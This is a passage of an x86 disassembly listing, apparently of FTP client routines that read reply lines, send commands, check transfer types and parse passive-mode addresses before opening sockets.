		mov	dl, [esp+18h+arg_0]
		xor	eax, eax
		pop	edi
		cmp	cl, dl
		pop	esi
		pop	ebp
		pop	ebx
		setz	al
		add	esp, 8
		retn
sub_13D6F30	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D7070	proc near		; CODE XREF: sub_13D6F30+15p
					; sub_13D6F30+83p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		push	esi
		mov	esi, [esp+14h+arg_8]
		xor	ecx, ecx
		push	edi
		mov	[esp+18h+var_8], ecx
		mov	eax, [esi+18h]
		mov	[esp+18h+var_4], ecx
		cmp	eax, ecx
		jz	short loc_13D70A0
		cmp	eax, 1
		jz	short loc_13D70A0
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_13D70A0:				; CODE XREF: sub_13D7070+1Ej
					; sub_13D7070+23j
		mov	ebx, [esp+18h+arg_4]
		cmp	ebx, ecx
		jnz	short loc_13D70B2
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_13D70B2:				; CODE XREF: sub_13D7070+36j
					; sub_13D7070+115j
		mov	edi, [esi+0Ch]
		test	edi, edi
		jle	short loc_13D7103
		cmp	ebx, edi
		jge	short loc_13D70C0
		lea	edi, [ebx-1]


loc_13D70C0:				; CODE XREF: sub_13D7070+4Bj
		mov	eax, [esi+4]
		push	edi
		push	0Ah
		push	eax
		push	ebp
		call	_memccpy	; _memccpy
		add	esp, 10h
		test	eax, eax
		jz	short loc_13D70D9
		mov	edi, eax
		sub	edi, ebp


loc_13D70D9:				; CODE XREF: sub_13D7070+63j
		mov	edx, [esp+18h+var_8]
		add	ebp, edi
		add	edx, edi
		sub	ebx, edi
		mov	[esp+18h+var_8], edx
		mov	byte ptr [ebp+0], 0
		mov	ecx, [esi+4]
		mov	edx, [esi+0Ch]
		add	ecx, edi
		sub	edx, edi
		test	eax, eax
		mov	[esi+4], ecx
		mov	[esi+0Ch], edx
		jnz	loc_13D718A


loc_13D7103:				; CODE XREF: sub_13D7070+47j
		cmp	ebx, 1
		jz	loc_13D71DD
		mov	ecx, [esi]
		mov	eax, [esi+4]
		cmp	ecx, eax
		jnz	short loc_13D712B
		mov	eax, [esi+14h]
		mov	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	[esi], eax
		mov	dword ptr [esi+10h], 2000h


loc_13D712B:				; CODE XREF: sub_13D7070+A3j
		mov	eax, [esp+18h+var_4]
		test	eax, eax
		jnz	loc_13D71F0
		push	esi
		call	sub_13D72A0
		add	esp, 4
		test	eax, eax
		jz	loc_13D7222
		mov	edx, [esi+10h]
		mov	eax, [esi]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	near ptr 13E131Ah
		cmp	eax, 0FFFFFFFFh
		jz	loc_13D720C
		test	eax, eax
		jnz	short loc_13D716F
		mov	[esp+18h+var_4], 1


loc_13D716F:				; CODE XREF: sub_13D7070+F5j
		mov	edi, [esi+10h]
		mov	edx, [esi+0Ch]
		mov	ecx, [esi]
		sub	edi, eax
		add	edx, eax
		add	ecx, eax
		mov	[esi+10h], edi
		mov	[esi+0Ch], edx
		mov	[esi], ecx
		jmp	loc_13D70B2
; ---------------------------------------------------------------------------


loc_13D718A:				; CODE XREF: sub_13D7070+8Dj
		sub	ebp, 2
		mov	esi, offset dword_445240
		mov	eax, ebp


loc_13D7194:				; CODE XREF: sub_13D7070+146j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_13D71BC
		test	cl, cl
		jz	short loc_13D71B8
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_13D71BC
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_13D7194


loc_13D71B8:				; CODE XREF: sub_13D7070+130j
		xor	eax, eax
		jmp	short loc_13D71C1
; ---------------------------------------------------------------------------


loc_13D71BC:				; CODE XREF: sub_13D7070+12Cj
					; sub_13D7070+13Cj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_13D71C1:				; CODE XREF: sub_13D7070+14Aj
		test	eax, eax
		jnz	short loc_13D7222
		mov	byte ptr [ebp+0], 0Ah
		mov	[ebp+1], al
		mov	eax, [esp+18h+var_8]
		pop	edi
		dec	eax
		pop	esi
		pop	ebp
		mov	[esp+0Ch+var_8], eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_13D71DD:				; CODE XREF: sub_13D7070+96j
		mov	eax, [esp+18h+arg_0]
		pop	edi
		pop	esi
		pop	ebp
		mov	byte ptr [eax],	0
		mov	eax, [esp+0Ch+var_8]
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_13D71F0:				; CODE XREF: sub_13D7070+C1j
		mov	eax, [esp+18h+var_8]
		test	eax, eax
		jnz	short loc_13D7222
		pop	edi
		mov	[esp+14h+var_8], 0FFFFFFFFh
		mov	eax, [esp+14h+var_8]
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_13D720C:				; CODE XREF: sub_13D7070+EDj
		push	offset dword_4454AC
		call	perror	; perror
		add	esp, 4
		mov	[esp+18h+var_8], 0FFFFFFFFh


loc_13D7222:				; CODE XREF: sub_13D7070+D2j
					; sub_13D7070+153j ...
		mov	eax, [esp+18h+var_8]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_13D7070	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D72A0	proc near		; CODE XREF: sub_13D7070+C8p
					; sub_13D8090:loc_13D80BDp ...

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 10Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+118h+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		mov	eax, [esi+18h]
		test	eax, eax
		jz	loc_13D7383
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	loc_13D7383
		cmp	eax, 2
		jnz	short loc_13D72D5
		lea	ebp, [esp+118h+var_104]
		jmp	short loc_13D72D9
; ---------------------------------------------------------------------------


loc_13D72D5:				; CODE XREF: sub_13D72A0+2Dj
		lea	ebx, [esp+118h+var_104]


loc_13D72D9:				; CODE XREF: sub_13D72A0+33j
		xor	eax, eax
		push	edi
		mov	[esp+11Ch+var_104], eax


loc_13D72E0:				; CODE XREF: sub_13D72A0+98j
		cmp	eax, 40h
		jnb	short loc_13D72F5
		mov	ecx, [esi+8]
		mov	[esp+eax*4+11Ch+var_100], ecx
		mov	eax, [esp+11Ch+var_104]
		inc	eax
		mov	[esp+11Ch+var_104], eax


loc_13D72F5:				; CODE XREF: sub_13D72A0+43j
		mov	edx, [esi+28h]
		mov	eax, [esi+2Ch]
		lea	ecx, [esp+11Ch+var_10C]
		mov	[esp+11Ch+var_10C], edx
		mov	edx, [esi+8]
		push	ecx
		push	0
		push	ebp
		inc	edx
		push	ebx
		push	edx
		mov	[esp+130h+var_108], eax
		call	near ptr 13E1332h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_13D733A
		test	eax, eax
		jg	short loc_13D7371
		mov	eax, [esi+34h]
		mov	ecx, [esi+38h]
		push	eax
		push	ecx
		push	esi
		call	dword ptr [esi+30h]
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jz	short loc_13D7376
		mov	eax, [esp+11Ch+var_104]
		jmp	short loc_13D72E0
; ---------------------------------------------------------------------------


loc_13D733A:				; CODE XREF: sub_13D72A0+79j
		push	100h
		xor	edi, edi
		call	_errno	; _errno
		mov	edx, [eax]
		push	edx
		call	strerror	; strerror
		add	esp, 4
		push	eax
		mov	eax, [esi+1Ch]
		add	eax, 44h
		push	eax
		call	strncpy	; strncpy
		add	esp, 0Ch
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_13D7371:				; CODE XREF: sub_13D72A0+7Dj
		mov	edi, 1


loc_13D7376:				; CODE XREF: sub_13D72A0+92j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_13D7383:				; CODE XREF: sub_13D72A0+19j
					; sub_13D72A0+24j
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 10Ch
		retn
sub_13D72A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D73E0	proc near		; CODE XREF: sub_13AB810j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		dec	eax
		cmp	eax, 4		; switch 5 cases
		ja	loc_13D748F	; default
		jmp	off_42D094[eax*4] ; switch jump
; ---------------------------------------------------------------------------
		mov	eax, [esp+arg_4]
		cmp	eax, 1
		jz	short loc_13D7409
		cmp	eax, 2
		jnz	loc_13D748F	; default


loc_13D7409:				; CODE XREF: sub_13D73E0+1Ej
		mov	ecx, [esp+arg_8]
		mov	[ecx+24h], eax
		mov	ecx, 1
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------
		mov	edx, [esp+arg_8]
		mov	eax, [esp+arg_4]
		mov	ecx, 1
		mov	[edx+30h], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+4+arg_4]
		mov	eax, 10624DD3h
		push	edi
		imul	esi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1
		sar	edx, 6
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, esi
		mov	[edi+28h], edx
		mov	esi, 3E8h
		cdq
		idiv	esi
		lea	eax, [edx+edx*4]
		lea	eax, [eax+eax*4]
		lea	edx, [eax+eax*4]
		mov	eax, ecx
		shl	edx, 3
		mov	[edi+2Ch], edx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		mov	eax, [esp+arg_8]
		mov	edx, [esp+arg_4]
		mov	ecx, 1
		mov	[eax+34h], edx
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------
		mov	eax, [esp+arg_8]
		mov	edx, [esp+arg_4]
		mov	ecx, 1
		mov	[eax+3Ch], edx


loc_13D748F:				; CODE XREF: sub_13D73E0+Aj
					; sub_13D73E0+23j
		mov	eax, ecx	; default
		retn
sub_13D73E0	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0FFh
		dd offset dword_40161C+2B9DBh
		dd offset dword_40161C+2B9FCh
		dd offset dword_40161C+2BA0Fh
		dd offset dword_40161C+2BA50h
		dd offset dword_40161C+2BA63h
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D74F0	proc near		; CODE XREF: sub_13AC643j

var_40		= byte ptr -40h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		sub	esp, 40h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_13D7581
		mov	ebx, [esp+4Ch+arg_4]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_13D7581
		mov	edi, sprintf
		push	edx
		lea	eax, [esp+50h+var_40]
		push	offset dword_4454C0
		push	eax
		call	edi ; sprintf
		mov	esi, [esp+58h+arg_8]
		lea	ecx, [esp+58h+var_40]
		push	esi
		push	33h
		push	ecx
		call	sub_13D75C0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_13D755D
		mov	cl, [esi+44h]
		pop	edi
		cmp	cl, 32h
		pop	esi
		setz	al
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_13D755D:				; CODE XREF: sub_13D74F0+5Bj
		push	ebx
		lea	edx, [esp+50h+var_40]
		push	offset dword_4454B4
		push	edx
		call	edi ; sprintf
		push	esi
		lea	eax, [esp+5Ch+var_40]
		push	32h
		push	eax
		call	sub_13D75C0
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_13D7581:				; CODE XREF: sub_13D74F0+1Bj
					; sub_13D74F0+30j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 40h
		retn
sub_13D74F0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D75C0	proc near		; CODE XREF: sub_13D74F0+51p
					; sub_13D74F0+82p ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 100h
		push	ebx
		mov	ebx, [esp+104h+arg_8]
		push	esi
		push	edi
		mov	eax, [ebx+18h]
		test	eax, eax
		jz	short loc_13D75E3
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_13D75E3:				; CODE XREF: sub_13D75C0+15j
		mov	eax, ds:dword_102C584
		mov	esi, [esp+10Ch+arg_0]
		cmp	eax, 2
		jle	short loc_13D760C
		mov	eax, _iob
		push	esi
		add	eax, 40h
		push	offset dword_4454D4
		push	eax
		call	fprintf	; fprintf
		add	esp, 0Ch


loc_13D760C:				; CODE XREF: sub_13D75C0+32j
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 2
		cmp	ecx, 100h
		jbe	short loc_13D762C
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_13D762C:				; CODE XREF: sub_13D75C0+60j
		push	esi
		lea	ecx, [esp+110h+var_100]
		push	offset dword_443CF4
		push	ecx
		call	sprintf	; sprintf
		lea	edi, [esp+118h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		mov	eax, [ebx+8]
		push	0
		not	ecx
		dec	ecx
		lea	edx, [esp+110h+var_100]
		push	ecx
		push	edx
		push	eax
		call	near ptr 13E1320h
		test	eax, eax
		jg	short loc_13D767D
		push	offset dword_4454CC
		call	perror	; perror
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_13D767D:				; CODE XREF: sub_13D75C0+A1j
		mov	ecx, [esp+10Ch+arg_4]
		push	ebx
		push	ecx
		call	sub_13D6F30
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
sub_13D75C0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D76E0	proc near		; CODE XREF: sub_13AC355j

var_100		= dword	ptr -100h
var_FC		= byte ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 100h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10Ch+arg_0]
		push	edi
		mov	edi, [esp+110h+arg_4]
		test	esi, esi
		jnz	short loc_13D772C
		cmp	edi, 4
		jz	short loc_13D7706
		cmp	edi, 3
		jnz	short loc_13D772C


loc_13D7706:				; CODE XREF: sub_13D76E0+1Fj
		mov	eax, [esp+110h+arg_C]
		push	offset dword_445520
		add	eax, 44h
		push	eax
		call	sprintf	; sprintf
		add	esp, 8
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_13D772C:				; CODE XREF: sub_13D76E0+1Aj
					; sub_13D76E0+24j
		mov	ecx, [esp+110h+arg_8]
		mov	ebp, sprintf
		push	ecx
		lea	edx, [esp+114h+var_100]
		push	offset dword_445514
		push	edx
		call	ebp ; sprintf
		mov	ebx, [esp+11Ch+arg_C]
		lea	eax, [esp+11Ch+var_100]
		push	ebx
		push	32h
		push	eax
		call	sub_13D75C0
		add	esp, 18h
		test	eax, eax
		jz	loc_13D78EE
		lea	eax, [edi-1]	; switch 4 cases
		cmp	eax, 3
		ja	loc_13D78DF	; default
		jmp	off_42D4FC[eax*4] ; switch jump
; ---------------------------------------------------------------------------
		mov	ecx, ds:dword_44550C
		mov	dl, ds:byte_445510
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 1
		jmp	short loc_13D77E0
; ---------------------------------------------------------------------------
		mov	eax, ds:dword_445504
		mov	cl, ds:byte_445508
		mov	[esp+110h+var_100], eax
		mov	[esp+110h+var_FC], cl
		mov	ebp, 1
		jmp	short loc_13D77E0
; ---------------------------------------------------------------------------
		mov	edx, ds:dword_4454FC
		mov	al, ds:byte_445500
		mov	[esp+110h+var_100], edx
		mov	[esp+110h+var_FC], al
		mov	ebp, 1
		jmp	short loc_13D77E0
; ---------------------------------------------------------------------------
		mov	ecx, ds:dword_4454F4
		mov	dl, ds:byte_4454F8
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 2


loc_13D77E0:				; CODE XREF: sub_13D76E0+B1j
					; sub_13D76E0+CBj ...
		test	esi, esi
		jz	short loc_13D7833
		lea	edi, [esp+110h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [esp+edx+110h+var_100], 20h
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		add	ecx, edx
		cmp	ecx, 100h
		jnb	loc_13D78EE
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+edx+110h+var_100]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_13D7833:				; CODE XREF: sub_13D76E0+102j
		mov	ecx, [esp+110h+arg_8]
		mov	esi, [esp+110h+arg_10]
		push	ebp
		push	ecx
		push	esi
		push	ebx
		call	sub_13D79A0
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_13D78EE
		push	ebx
		lea	edx, [esp+114h+var_100]
		push	31h
		push	edx
		call	sub_13D75C0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_13D7888
		mov	eax, [esi]
		push	eax
		call	sub_13ABFDB
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_13D7888:				; CODE XREF: sub_13D76E0+188j
		mov	ecx, [esi]
		mov	[ecx+1Ch], ebx
		mov	eax, [ebx+24h]
		mov	edx, [esi]
		cmp	eax, 2
		mov	[ebx+20h], edx
		jnz	short loc_13D78CF
		mov	eax, [esi]
		push	ebx
		push	eax
		call	sub_13D7E80
		add	esp, 8
		test	eax, eax
		jnz	short loc_13D78CF
		mov	ecx, [esi]
		push	ecx
		call	sub_13ABFDB
		add	esp, 4
		mov	dword ptr [esi], 0
		mov	dword ptr [ebx+20h], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_13D78CF:				; CODE XREF: sub_13D76E0+1B8j
					; sub_13D76E0+1C8j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_13D78DF:				; CODE XREF: sub_13D76E0+8Bj
		push	edi		; default
		add	ebx, 44h
		push	offset dword_4454D8
		push	ebx
		call	ebp ; sprintf
		add	esp, 0Ch


loc_13D78EE:				; CODE XREF: sub_13D76E0+7Fj
					; sub_13D76E0+12Cj ...
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
sub_13D76E0	endp

; ---------------------------------------------------------------------------
		align 4
		dd offset dword_42D378
		dd offset byte_42D393
		dd offset byte_42D3AD
		dd offset byte_42D3C7
		db 4 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D79A0	proc near		; CODE XREF: sub_13D76E0+165p

var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= word ptr -120h
var_11E		= word ptr -11Eh
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_114		= byte ptr -114h
var_110		= byte ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_104		= byte ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 134h
		push	ebx
		mov	ebx, [esp+138h+arg_0]
		push	ebp
		push	esi
		mov	eax, [ebx+18h]
		xor	ebp, ebp
		mov	esi, 1
		cmp	eax, ebp
		push	edi
		mov	[esp+144h+var_120], bp
		mov	[esp+144h+var_11E], bp
		mov	[esp+144h+var_11C], esi
		jnz	loc_13D7CC4
		mov	eax, [esp+144h+arg_C]
		cmp	eax, esi
		jz	short loc_13D7A02
		cmp	eax, 2
		jz	short loc_13D7A02
		push	eax
		add	ebx, 44h
		push	offset dword_4455C4
		push	ebx
		call	sprintf	; sprintf
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_13D7A02:				; CODE XREF: sub_13D79A0+3Aj
					; sub_13D79A0+3Fj
		mov	eax, [esp+144h+arg_8]
		cmp	eax, 41h
		jz	short loc_13D7A34
		cmp	eax, 49h
		jz	short loc_13D7A34
		push	eax
		add	ebx, 44h
		push	offset dword_4455B0
		push	ebx
		call	sprintf	; sprintf
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_13D7A34:				; CODE XREF: sub_13D79A0+6Cj
					; sub_13D79A0+71j
		mov	eax, [ebx+24h]
		mov	[esp+144h+var_124], 10h
		cmp	eax, esi
		jnz	loc_13D7B19
		xor	eax, eax
		push	ebx
		mov	[esp+148h+var_134], eax
		push	32h
		mov	[esp+14Ch+var_130], eax
		push	offset dword_4455A8
		mov	[esp+150h+var_12C], eax
		mov	word ptr [esp+150h+var_134], 2
		mov	[esp+150h+var_128], eax
		call	sub_13D75C0
		add	esp, 0Ch
		test	eax, eax
		jz	loc_13D7CC4
		lea	ecx, [ebx+44h]
		push	28h
		push	ecx
		call	strchr	; strchr
		add	esp, 8
		cmp	eax, ebp
		jz	loc_13D7CC4
		lea	edx, [esp+144h+var_114]
		lea	ecx, [esp+144h+var_118]
		push	edx
		push	ecx
		lea	edx, [esp+14Ch+var_104]
		lea	ecx, [esp+14Ch+var_108]
		push	edx
		push	ecx
		lea	edx, [esp+154h+var_10C]
		lea	ecx, [esp+154h+var_110]
		push	edx
		push	ecx
		inc	eax
		push	offset dword_445590
		push	eax
		call	sscanf	; sscanf
		mov	dl, [esp+164h+var_110]
		mov	al, [esp+164h+var_10C]
		mov	cl, [esp+164h+var_108]
		mov	byte ptr [esp+164h+var_130], dl
		mov	dl, [esp+164h+var_104]
		mov	byte ptr [esp+164h+var_130+1], al
		mov	al, [esp+164h+var_118]
		mov	byte ptr [esp+164h+var_130+2], cl
		mov	cl, [esp+164h+var_114]
		add	esp, 20h
		mov	byte ptr [esp+144h+var_130+3], dl
		mov	byte ptr [esp+144h+var_134+2], al
		mov	byte ptr [esp+144h+var_134+3], cl


loc_13D7AED:				; CODE XREF: sub_13D79A0+18Ej
		push	6
		push	esi
		push	2
		call	near ptr 13E135Ch
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_13D7B4B
		push	offset dword_445460
		call	perror	; perror
		add	esp, 4
		or	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_13D7B19:				; CODE XREF: sub_13D79A0+A1j
		mov	ecx, [ebx+8]
		lea	edx, [esp+144h+var_124]
		lea	eax, [esp+144h+var_134]
		push	edx
		push	eax
		push	ecx
		call	near ptr 13E134Ah
		test	eax, eax
		jge	short loc_13D7AED
		push	offset dword_445580
		call	perror	; perror
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_13D7B4B:				; CODE XREF: sub_13D79A0+15Cj
		lea	edx, [esp+144h+var_11C]
		push	4
		push	edx
		push	4
		push	0FFFFh
		push	edi
		call	near ptr 13E13A4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_13D7B6E
		push	offset dword_445450
		jmp	loc_13D7CB5
; ---------------------------------------------------------------------------


loc_13D7B6E:				; CODE XREF: sub_13D79A0+1C2j
		lea	eax, [esp+144h+var_120]
		push	4
		push	eax
		push	80h
		push	0FFFFh
		push	edi
		call	near ptr 13E13A4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_13D7B94
		push	offset dword_445450
		jmp	loc_13D7CB5
; ---------------------------------------------------------------------------


loc_13D7B94:				; CODE XREF: sub_13D79A0+1E8j
		cmp	[ebx+24h], esi
		jnz	short loc_13D7BB9
		lea	ecx, [esp+144h+var_134]
		push	10h
		push	ecx
		push	edi
		call	near ptr 13E1362h
		cmp	eax, 0FFFFFFFFh
		jnz	loc_13D7C9B
		push	offset dword_445250
		jmp	loc_13D7CB5
; ---------------------------------------------------------------------------


loc_13D7BB9:				; CODE XREF: sub_13D79A0+1F7j
		lea	edx, [esp+144h+var_134]
		push	10h
		push	edx
		push	edi
		mov	word ptr [esp+150h+var_134+2], bp
		call	near ptr 13E1350h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_13D7BD7
		push	offset dword_445578
		jmp	short loc_13D7BE7
; ---------------------------------------------------------------------------


loc_13D7BD7:				; CODE XREF: sub_13D79A0+22Ej
		push	esi
		push	edi
		call	near ptr 13E133Eh
		test	eax, eax
		jge	short loc_13D7C03
		push	offset dword_445570


loc_13D7BE7:				; CODE XREF: sub_13D79A0+235j
		call	perror	; perror
		add	esp, 4
		push	edi
		call	near ptr 13E1326h
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_13D7C03:				; CODE XREF: sub_13D79A0+240j
		lea	eax, [esp+144h+var_124]
		lea	ecx, [esp+144h+var_134]
		push	eax
		push	ecx
		push	edi
		call	near ptr 13E134Ah
		test	eax, eax
		jge	short loc_13D7C24
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_13D7C24:				; CODE XREF: sub_13D79A0+275j
		mov	edx, [esp+144h+var_134+3]
		mov	eax, [esp+144h+var_134+2]
		mov	ecx, [esp+144h+var_130+3]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		mov	edx, [esp+148h+var_130+2]
		and	ecx, 0FFh
		push	eax
		mov	eax, [esp+14Ch+var_130+1]
		push	ecx
		mov	ecx, [esp+150h+var_130]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+15Ch+var_100]
		push	offset dword_445554
		push	edx
		call	sprintf	; sprintf
		push	ebx
		lea	eax, [esp+168h+var_100]
		push	32h
		push	eax
		call	sub_13D75C0
		add	esp, 2Ch
		test	eax, eax
		jnz	short loc_13D7C9B
		push	edi
		call	near ptr 13E1326h
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_13D7C9B:				; CODE XREF: sub_13D79A0+209j
					; sub_13D79A0+2E6j
		push	144h
		push	esi
		call	calloc	; calloc
		mov	esi, eax
		add	esp, 8
		cmp	esi, ebp
		jnz	short loc_13D7CD2
		push	offset dword_445448


loc_13D7CB5:				; CODE XREF: sub_13D79A0+1C9j
					; sub_13D79A0+1EFj ...
		call	perror	; perror
		add	esp, 4
		push	edi
		call	near ptr 13E1326h


loc_13D7CC4:				; CODE XREF: sub_13D79A0+2Bj
					; sub_13D79A0+D2j ...
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_13D7CD2:				; CODE XREF: sub_13D79A0+30Ej
